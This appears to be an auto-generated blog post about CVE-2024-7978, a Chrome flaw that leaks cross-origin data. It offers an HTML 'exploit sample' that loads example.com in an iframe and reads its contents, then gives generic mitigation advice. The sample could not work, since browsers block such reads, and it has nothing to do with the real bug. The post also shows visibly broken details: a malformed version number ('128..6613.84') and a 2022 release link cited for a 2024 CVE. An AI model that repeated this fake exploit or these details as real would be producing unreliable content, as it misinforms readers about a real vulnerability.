A new vulnerability, identified as CVE-2024-7978, has been discovered in Google Chrome versions prior to 128..6613.84. If this vulnerability is exploited, it could allow a remote attacker to potentially leak sensitive cross-origin data via a specially crafted HTML page. The attacker would need to convince a user to engage in specific UI gestures for this exploit to be successful. The Chromium security team has classified this vulnerability as having a medium severity.

This post will provide an in-depth explanation of the vulnerability, including an example of a code snippet that demonstrates how it works, links to original references, and details on the exploitation process.

Code Snippet

The following code snippet demonstrates how a crafted HTML page might be used to exploit this vulnerability, causing sensitive data to be leaked:

<!DOCTYPE html>
<html>
<head>
  <title> CVE-2024-7978 Exploit Sample </title>
  <script>
        function exploit() {
            var iframe = document.createElement('iframe');
            iframe.src = 'https://example.com';;
            iframe.onload = function() {
                try {
                    var content = iframe.contentDocument.body.innerHTML;
                    alert("Sensitive data leaked: " + content);
                } catch (e) {
                    alert("Error: " + e.message);
                }
            };
            document.body.appendChild(iframe);
        }
    </script>
</head>
<body>
    <button onclick="exploit()">Click Here to Exploit CVE-2024-7978</button>
</html>

In this example, an attacker would try to convince a user to click on the "Click Here to Exploit CVE-2024-7978" button, which would then run the 'exploit()' function. This function creates an iframe that loads content from a cross-origin domain (https://example.com) and attempts to read the content of the iframe, eventually displaying an alert containing the sensitive data if the exploit is successful.

1. Chromium Security Team's Announcement: https://chromereleases.googleblog.com/2022/02/stable-channel-update-for-desktop.html
1. NVD Entry for CVE-2024-7978: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7978
1. Google Chrome's Bug Tracker Reference: https://crbug.com/131212

Exploit Details

To successfully exploit CVE-2024-7978, an attacker needs to convince a user to engage in specific UI gestures, such as clicking on a malicious link or button that executes the attacker's crafted code. This action would then allow the attacker to bypass the security controls in place, potentially enabling them to access and leak sensitive cross-origin data.

While the vulnerability is classified as medium severity, it is important to note that convincing a user to interact with a malicious element may not be an easy task, especially if the user is vigilant and security-aware. While it is always critical for developers to be up-to-date with the latest security measures, it is equally important for users to remain cautious while online.

Conclusion

CVE-2024-7978 is a medium severity vulnerability in Google Chrome that, if exploited, could allow a remote attacker to leak sensitive cross-origin data via a crafted HTML page. To mitigate the risk posed by this vulnerability, it is essential to keep your Google Chrome browser updated to the latest version. In addition, users should also be cautious when engaging with unfamiliar links or UI elements, as vigilance can further reduce the chances of a successful exploit.

Following safe browsing practices and keeping your software up-to-date are the best ways to protect yourself against such security vulnerabilities. Stay safe and browse responsibly!

Timeline

Published on: 08/21/2024 21:15:09 UTC
Last modified on: 08/22/2024 17:38:11 UTC